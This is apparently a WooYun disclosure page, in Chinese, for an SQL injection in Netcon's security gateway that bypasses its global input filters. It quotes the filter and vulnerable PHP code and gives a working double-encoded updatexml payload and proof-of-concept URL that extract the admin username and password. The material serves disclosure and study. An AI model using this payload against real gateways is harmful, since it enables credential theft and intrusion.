当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(26) 关注此漏洞

缺陷编号: WooYun-2014-77689

漏洞标题: 网康安全网关SQL注入(绕过全局防注入)

相关厂商: 网康科技

漏洞作者: secmap

提交时间: 2014-10-08 09:56

公开时间: 2015-01-06 09:58

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 逻辑错误 php源码审核

7人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-08: 细节已通知厂商并且等待厂商处理中
2014-10-08: 厂商已经确认,细节仅向厂商公开
2014-10-11: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-12-02: 细节向核心白帽子及相关领域专家公开
2014-12-12: 细节向普通白帽子公开
2014-12-22: 细节向实习白帽子公开
2015-01-06: 细节向公众公开

简要描述:

网康科技经过上一次的洗礼过后,整体的安全性有了很大的提高,(拍掌...)
其全局过滤函数非常变态,研究过后,最终还是发现了一处注入,绕过了变态的全局防注入。

详细说明:

0x01 先来看看全局过滤函数

code 区域
//防注入函数
function inject_check($sql_str)
{
return preg_match( "/(select|insert|update|delete|drop|'|\/\*|\*|\.\.\/|\.\/|UNION|into|load_file|outfile)/i", $sql_str );
}



更变态的还有

code 区域
function str_check($str)
{
if(strstr($str, ' '))
return false;
if(strstr($str, "'"))
return false;
if(strstr($str, '"'))
return false;
if(strstr($str, '/'))
return false;
if(strstr($str, '&'))
return false;
if(strstr($str, ';'))
return false;
if(strstr($str, '%'))
return false;
return true;
}



当检测到有这些符号、字符 直接调用exit()推出,有点变态。

0x02 下面来说这个注入是怎样产生的

漏洞的文件为

/WebPages/applyhardware.php

部分代码

code 区域
include("include/common.inc");
session_start();
$para = $_SESSION['parastr'];
if(!str_check($action))
$action = "";
switch ($action)
{
case "":
redirect("/vpnweb/index.php?para=$para");
break;
case "applyhardware":
$dbh = db_connect();
$hard_user = urldecode($hard_user);
$hard_pass = urldecode($hard_pass);
if(!str_check($hard_user))
$hard_user = "";
if(!str_check($hard_pass))
$hard_pass = "";
$query = "select UserId from ISCUserTable where UserName='$hard_user' and Password='$hard_pass'";



其中 $hard_user 和 $hard_pass 两个参数,经过了str_check的检查,但两个参数均是通过urldecode解码后得到的 ,加上最后进入SQL查询的语句为:

select UserId from ISCUserTable where UserName='$hard_user' and Password='$hard_pass'

于是最终想到了结合两个参数,实现注入

0x03 对该注入的利用

通过对str_check函数的分析,我们提交的参数不能含有空格、单引号、双引号、斜线、分号等,最后通过无数次的测试,有了最终的利用代码:

hard_user=%255C&hard_pass=%0a%0dand%0a%0d1=(updatexml(1,concat(0x5e24,(select%0a%0dconcat(adminname,0x7e,passwd)%0a%0dfrom%0a%0dAdmin%0a%0dlimit%0a%0d1),0x5e24),1))%2523



0x04 漏洞证明

**.**.**.**//WebPages/applyhardware.php?action=applyhardware&hard_user=%255C&hard_pass=%0a%0dand%0a%0d1=(updatexml(1,concat(0x5e24,(select%0a%0dconcat(adminname,0x7e,passwd)%0a%0dfrom%0a%0dAdmin%0a%0dlimit%0a%0d1),0x5e24),1))%2523

11.jpg



**.**.**.**/WebPages/applyhardware.php?action=applyhardware&hard_user=%255C&hard_pass=%0a%0dand%0a%0d1=(updatexml(1,concat(0x5e24,(select%0a%0dconcat(adminname,0x7e,passwd)%0a%0dfrom%0a%0dAdmin%0a%0dlimit%0a%0d1),0x5e24),1))%2523

22.jpg

漏洞证明:

22.jpg

修复方案:

inject_check()函数过滤

版权声明:转载请注明来源 secmap@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:19

确认时间:2014-10-08 10:08

厂商回复:

感谢大家的支持,大家的支持是我们进步的动力。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-09-29 13:08 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    0

    鼓掌

  2. 2014-09-29 13:16 | pandas ( 普通白帽子 | Rank:701 漏洞数:79 | 国家一级保护动物)
    0

    有渠道接触源码就是吊阿

  3. 2014-09-29 15:32 | 爱Gail ( 普通白帽子 | Rank:237 漏洞数:38 | 爱漏洞、爱编程、爱旅游、爱Gail)
    0

  4. 2014-10-08 10:01 | Coody 认证白帽子 ( 核心白帽子 | Rank:1789 漏洞数:213 | 不接单、不黑产;如遇冒名顶替接单收徒、绝...)
    0

    ...

  5. 2014-10-08 10:23 | 氓氓童鞋 ( 普通白帽子 | Rank:374 漏洞数:65 )
    0

    @xsser 额。。。数据是不是回滚了。。。怎么赶脚前一阵子就已经提交过这个洞洞了。。。

  6. 2014-10-29 11:09 | wefgod ( 核心白帽子 | Rank:1825 漏洞数:183 | 力不从心)
    0

    很给力啊

  7. 2015-02-16 21:09 | ToySweet ( 实习白帽子 | Rank:36 漏洞数:8 | 做有道德的安全研究员。)
    0

    @xsser 哎呦

登录后才能发表评论,请先 登录